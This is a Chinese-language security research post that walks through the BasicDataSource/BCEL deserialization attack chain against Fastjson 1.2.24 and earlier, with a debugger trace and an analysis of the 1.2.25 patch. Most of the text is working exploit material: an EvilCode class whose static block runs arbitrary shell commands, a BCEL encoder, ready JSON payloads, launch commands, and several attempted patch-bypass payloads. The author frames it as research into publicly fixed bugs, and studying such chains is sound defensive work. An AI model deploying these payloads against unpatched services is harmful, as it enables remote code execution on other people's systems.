沈沉舟@青衣十三楼飞花堂
「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」
简介
这条攻击链用到"org.apache.tomcat.dbcp.dbcp.BasicDataSource"、"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"或其他什么等价类。比较老,只能用于Fastjson 1.2.24及更低版本。
Fastjson攻击链更多是用"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"和"com.sun.rowset.JdbcRowSetImpl",后者能一直用到Fastjson 1.2.47。
本来太老的攻击链没打算深究,后来觉得其中用到的BCEL编码有点意思,就调试跟踪了一下。
95%的人几年前就学过这招,如果仍有兴趣,可直接看"简化版调用关系"和"小结"。
org.apache.tomcat.dbcp.dbcp.BasicDataSource攻击链
参[73],后面的PoC用到了如下库:
- tomcat-dbcp-7.0.99.jar
- dbcp-6.0.53.jar
- tomcat-dbcp-9.0.20.jar
- tomcat-juli-9.0.20.jar
FastjsonDeserialize2.java
/*
* javac -encoding GBK -g -cp "fastjson-1.2.24.jar:." FastjsonDeserialize2.java
*/
import java.io.*;
import java.nio.file.*;
import java.nio.charset.*;
import com.alibaba.fastjson.JSON;
public class FastjsonDeserialize2
{
static String readFile( String path, Charset encoding ) throws IOException
{
byte[] buf = Files.readAllBytes( Paths.get( path ) );
return new String( buf, encoding );
}
public static void main ( String[] argv ) throws Exception
{
/*
* StandardCharsets.US_ASCII
*/
String str = readFile( argv[0], StandardCharsets.UTF_8 );
Object obj = JSON.parseObject( str );
}
}
EvilCode.java
/*
* javac -encoding GBK -g EvilCode.java
*/
import java.io.*;
public class EvilCode
{
static
{
String[] argv = new String[] { "0", "/bin/touch /tmp/scz_is_here" };
try
{
Operator( argv );
}
catch ( Exception e )
{
e.printStackTrace( System.err );
}
}
public EvilCode ()
{
System.out.println( "scz is here" );
}
public EvilCode ( Object[] argv ) throws Exception
{
Operator( argv );
}
public static void Operator ( Object[] argv ) throws Exception
{
int opnum = Integer.parseInt( ( String )argv[0] );
String cmd;
switch ( opnum )
{
case 0 :
cmd = ( String )argv[1];
Operator_0( cmd );
break;
case 1 :
cmd = ( String )argv[1];
Operator_1( cmd );
break;
default:
Operator_unknown();
break;
}
}
private static void Operator_0 ( String cmd ) throws Exception
{
Runtime.getRuntime().exec( new String[] { "/bin/sh", "-c", cmd } );
}
private static void Operator_1 ( String cmd ) throws Exception
{
String ret = PrivateExec( cmd );
throw new InvalidClassException( "\n[\n" + ret + "]\n" );
}
private static void Operator_unknown () throws Exception
{
throw new InvalidClassException( "\n[\nUnknown opnum\n]\n" );
}
private static String PrivateExec ( String cmd ) throws IOException
{
ProcessBuilder pb = new ProcessBuilder( "/bin/sh", "-c", cmd ).redirectErrorStream( true );
Process p = pb.start();
StringBuilder ret = new StringBuilder( 256 );
BufferedReader in = new BufferedReader( new InputStreamReader( p.getInputStream() ) );
String line;
while ( true )
{
line = in.readLine();
if ( line == null )
{
break;
}
ret.append( line ).append( "\n" );
}
return( ret.toString() );
}
}
EvilCode没必要写成这样,我是顺手挪用别处的代码,你完全可以精简之。
BCELEncode.java
/*
* javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java
* java BCELEncode EvilCode.class
*/
import java.io.*;
import java.nio.file.Files;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELEncode
{
public static void main ( String[] argv ) throws Exception
{
String filename = argv[0];
byte[] buf = Files.readAllBytes( ( new File( filename ) ).toPath() );
/*
* public static String encode(byte[] bytes, boolean compress)
*/
String str = Utility.encode( buf, true );
String bcel = "$$BCEL$$" + str;
System.out.println( bcel );
}
}
$ java BCELEncode EvilCode.class
$$BCEL$$$l$8b...$A$A
Utility.encode()的输出不包含"$$BCEL$$"前缀,需要自己增加。
BCELDecode.java
/*
* javac -encoding GBK -g -XDignore.symbol.file BCELDecode.java
* java BCELDecode <str> <out.class>
*/
import java.io.*;
import java.nio.file.*;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELDecode
{
public static void main ( String[] argv ) throws Exception
{
String bcel = argv[0];
String filename = argv[1];
if ( !bcel.startsWith( "$$BCEL$$" ) )
{
return;
}
String str = bcel.substring( 8 );
/*
* public static byte[] decode(String s, boolean uncompress)
*/
byte[] buf = Utility.decode( str, true );
Files.write
(
( new File( filename ) ).toPath(),
buf,
new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING }
);
}
}
$ java BCELDecode '$$BCEL$$$l$8b...$A$A' /tmp/out.class
BCELDecode与攻击链无关,仅仅是因为前面有个负责编码的,出于程序员的本能反应,顺手写个负责解码的,保持对称性。
Fastjson_BasicDataSource.json
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
driverClassName属性的值就是BCELEncode输出的内容。
有人喜欢在PoC中用代码构造上述json内容,我的习惯是将各组件按自己的理解拆分,以保持边界感。没有什么特别优势,每个人的学习习惯不同,莫来我处装X。
java -cp "fastjson-1.2.14.jar:dbcp-6.0.53.jar:." FastjsonDeserialize2 Fastjson_BasicDataSource.json
java -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." FastjsonDeserialize2 Fastjson_BasicDataSource.json
这两条命令都能得手。
调试FastjsonDeserialize2:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." \
FastjsonDeserialize2 Fastjson_BasicDataSource.json
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005
stop in java.lang.Runtime.exec(java.lang.String[])
[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] $$BCEL$$$l$8b...$A$A.Operator_0 (EvilCode.java:55), pc = 21
[3] $$BCEL$$$l$8b...$A$A.Operator (EvilCode.java:41), pc = 44
[4] $$BCEL$$$l$8b...$A$A.<clinit> (EvilCode.java:14), pc = 16
[5] java.lang.Class.forName0 (native method)
[6] java.lang.Class.forName (Class.java:348), pc = 49
[7] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createConnectionFactory (BasicDataSource.java:1,559), pc = 36
[8] org.apache.tomcat.dbcp.dbcp.BasicDataSource.createDataSource (BasicDataSource.java:1,467), pc = 30
[9] org.apache.tomcat.dbcp.dbcp.BasicDataSource.getConnection (BasicDataSource.java:1,103), pc = 1
[10] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[11] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[12] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[13] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[14] com.alibaba.fastjson.util.FieldInfo.get (FieldInfo.java:451), pc = 16
[15] com.alibaba.fastjson.serializer.FieldSerializer.getPropertyValue (FieldSerializer.java:114), pc = 5
[16] com.alibaba.fastjson.serializer.JavaBeanSerializer.getFieldValuesMap (JavaBeanSerializer.java:439), pc = 50
[17] com.alibaba.fastjson.JSON.toJSON (JSON.java:902), pc = 313
[18] com.alibaba.fastjson.JSON.toJSON (JSON.java:824), pc = 4
[19] com.alibaba.fastjson.JSON.parseObject (JSON.java:206), pc = 18
[20] FastjsonDeserialize2.main (FastjsonDeserialize2.java:23), pc = 11
简化版调用关系(重点看这个)
JSON.parseObject // 8u232+1.2.24+7.0.99
JSON.parse // JSON:201
JSON.parse // JSON:128
DefaultJSONParser.parse // JSON:137
DefaultJSONParser.parse // DefaultJSONParser:1293
DefaultJSONParser.parseObject // DefaultJSONParser:1327
JavaBeanDeserializer.deserialze // DefaultJSONParser:368
JavaBeanDeserializer.parseRest
JavaBeanDeserializer.deserialze // JavaBeanDeserializer:922
JavaBeanDeserializer.parseField // JavaBeanDeserializer:600
DefaultFieldDeserializer.parseField // JavaBeanDeserializer:773
FieldDeserializer.setValue // DefaultFieldDeserializer:83
BasicDataSource.setDriverClassLoader
BasicDataSource.setDriverClassName
// 攻击者可控
JSON.toJSON // JSON:206
JSON.toJSON // JSON:824
JavaBeanSerializer.getFieldValuesMap // JSON:902
FieldSerializer.getPropertyValue // JavaBeanSerializer:439
FieldInfo.get // FieldSerializer:114
BasicDataSource.getConnection
BasicDataSource.createDataSource // BasicDataSource:1103
BasicDataSource.createConnectionFactory // BasicDataSource:1467
Class.forName // BasicDataSource:1559
// 第二形参initialize等于true
Class.forName0 // java.lang.Class:348
java.lang.ClassLoader.loadClass
util.ClassLoader.loadClass // java.lang.ClassLoader:351
// com.sun.org.apache.bcel.internal.util.ClassLoader
if (class_name.indexOf("$$BCEL$$") >= 0)
// util.ClassLoader:151
util.ClassLoader.createClass // util.ClassLoader:152
index = class_name.indexOf("$$BCEL$$")
// util.ClassLoader:199
real_name = class_name.substring(index + 8)
// util.ClassLoader:200
Utility.decode // util.ClassLoader:204
// com.sun.org.apache.bcel.internal.classfile.Utility
// BCEL解码
ClassParser.<init> // util.ClassLoader:205
// com.sun.org.apache.bcel.internal.classfile.ClassParser
ClassParser.parse // util.ClassLoader:207
JavaClass.<clinit> // ClassParser:206
JavaClass.<init> // ClassParser:206
// com.sun.org.apache.bcel.internal.classfile.JavaClass
bytes = clazz.getBytes() // util.ClassLoader:162
java.lang.ClassLoader.defineClass
// util.ClassLoader:163
// cl = defineClass(class_name, bytes, 0, bytes.length)
// class_name等于driverClassName属性值
// bytes源自driverClassName属性值的BCEL解码
ClassLoader.defineClass // java.lang.ClassLoader:635
java.lang.ClassLoader.defineClass1
// java.lang.ClassLoader:756
// defineClass()并不会执行静态代码块
EvilCode.<clinit> // 静态代码块
// Class.forName0()中会执行静态代码块
// 但不是通过defineClass()触发的
Runtime.exec
Class.newInstance // BasicDataSource:1584
EvilCode.<init> // 无参构造函数
PrintStream.println
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时检查class_name是否动用过BCEL编码,如果是,class_name就不只是类名,还包含类的字节码的BCEL编码。util.ClassLoader会从类名中析取字节码并加载之,这可真是骚操作,太邪恶了。
为什么FastjsonDeserialize未能得手
java -cp "fastjson-1.2.24.jar:tomcat-dbcp-7.0.99.jar:." FastjsonDeserialize Fastjson_BasicDataSource.json
上述命令使用FastjsonDeserialize,未能得手,不抛异常,静默结束。
FastjsonDeserialize调的是:
JSON.parseObject( fis, Object.class, Feature.SupportNonPublicField )
FastjsonDeserialize2调的是:
JSON.parseObject( str )
调试后确认前者内部不会调用JSON.toJSON(),从而无法触发EvilCode.。这个例子说明,JSON.parseObject()的不同重载版本对攻击链的反应各不相同,不要笼而统之地说函数名,一定要精确描述测试时所用上下文。
1.2.25的修补方案
java \
-cp "fastjson-1.2.25.jar:tomcat-dbcp-7.0.99.jar:." \
FastjsonDeserialize2 Fastjson_BasicDataSource.json
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.tomcat.dbcp.dbcp.BasicDataSource
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)
at FastjsonDeserialize2.main(FastjsonDeserialize2.java:23)
org.apache.tomcat"、"com.sun."打头的全进黑名单。
1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource利用链,各有原因。
Fastjson_BasicDataSource_bad_0.json
{
'@type':"[org.apache.tomcat.dbcp.dbcp.BasicDataSource"[{,
'driverClassLoader':
{
'@type':"LLcom.sun.org.apache.bcel.internal.util.ClassLoader;;"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
原始意图是进行补丁绕过,但1.2.25未能得手。
从1.2.25开始有一个无法绕过的检查:
/*
* 1.2.25
*
* com.alibaba.fastjson.parser.ParserConfig.checkAutoType
*
* 866行,这段检查完全是针对BasicDataSource利用链而来
*/
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
Fastjson_BasicDataSource_bad_1.json
[
{
'@type':"java.lang.Class",
'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'
},
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"[com.sun.org.apache.bcel.internal.util.ClassLoader"[{
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
]
原始意图是进行补丁绕过,但1.2.25未能得手。
/*
* 1.2.25
*
* com.alibaba.fastjson.parser.ParserConfig.checkAutoType
*/
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
/*
* 876行,此时expectClass等于"java.lang.ClassLoader",clazz等于
* "[com.sun.org.apache.bcel.internal.util.ClassLoader",后者是数组类型。
*/
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
Fastjson_BasicDataSource_bad_2.json
{
'a':
{
'@type':"java.lang.Class",
'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'
},
'b':
{
'@type':"java.lang.Class",
'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'
},
'c':
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
}
原始意图是进行补丁绕过,但1.2.25未能得手。
/*
* 1.2.25
*
* com.alibaba.fastjson.parser.ParserConfig.checkAutoType
*
* 处理"com.sun.org.apache.bcel.internal.util.ClassLoader"时,虽然
* autoTypeSupport为false,但expectClass不为null,等于
* "java.lang.ClassLoader",下面的黑名单检查无法绕过
*/
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
/*
* 822行
*/
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Fastjson_BasicDataSource_bad_3.jso
[
{
'@type':"java.lang.Class",
'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource'
},
{
'@type':"java.lang.Class",
'val':'com.sun.org.apache.bcel.internal.util.ClassLoader'
},
{
'@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
]
原始意图是进行补丁绕过,但1.2.25未能得手。失败原因同前。
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BasicDataSource所在package变了一点点,攻击原理同前。
Fastjson_BasicDataSource2.json
{
'@type':"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
'driverClassLoader':
{
'@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
'driverClassName':'$$BCEL$$$l$8b...$A$A'
}
java \
-cp "fastjson-1.2.24.jar:tomcat-dbcp-9.0.20.jar:tomcat-juli-9.0.20.jar:." \
FastjsonDeserialize2 Fastjson_BasicDataSource2.json
小结
BasicDataSource攻击链只能用于Fastjson 1.2.24及更低版本。
曾经用于JdbcRowSetImpl攻击链的1.2.25至1.2.47的所有补丁绕过方案均无法用于BasicDataSource攻击链,各有原因。
java.lang.Class.forName()有机会执行目标类静态代码块,jdb中可拦截some.
java.lang.ClassLoader.defineClass()并不会执行目标类静态代码块。
Class.forName0()中执行静态代码块时并不是通过ClassLoader.defineClass()触发的,native方法中另有触发点,触发点位于对defineClass()调用之后的某处。
com.sun.org.apache.bcel.internal.util.ClassLoader加载class时对类名有特殊流程,如果类名中包含"$$BCEL$$"子串,则判定此类名中还包含经BCEL编码过的类的字节码。此时util.ClassLoader会从特殊类名中解码还原出类的字节码并加载之,这个操作太邪恶。这是整个攻击过程中最有意思的部分,或许在别处用得上。
就BasicDataSource攻击链而言,可以不用静态代码块执行恶意代码,后面另有机会调用恶意类的无参构造函数,jdb中可拦截some.
"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"亦可用于攻击。
参考资源
[32]
https://github.com/alibaba/fastjson
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.14/fastjson-1.2.14.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.24/fastjson-1.2.24-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.25/fastjson-1.2.25-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.42/fastjson-1.2.42-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.43/fastjson-1.2.43-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.45/fastjson-1.2.45-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/fastjson-1.2.47-sources.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48.jar
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48/fastjson-1.2.48-sources.jar
[73]
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/7.0.99/tomcat-dbcp-7.0.99.jar
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/
https://repo1.maven.org/maven2/org/apache/tomcat/dbcp/6.0.53/dbcp-6.0.53.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-dbcp/9.0.20/tomcat-dbcp-9.0.20.jar
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/
https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-juli/9.0.20/tomcat-juli-9.0.20.jar
来源
https://mp.weixin.qq.com/s/w-6RZGWdnSSn_jbCs0I-Sw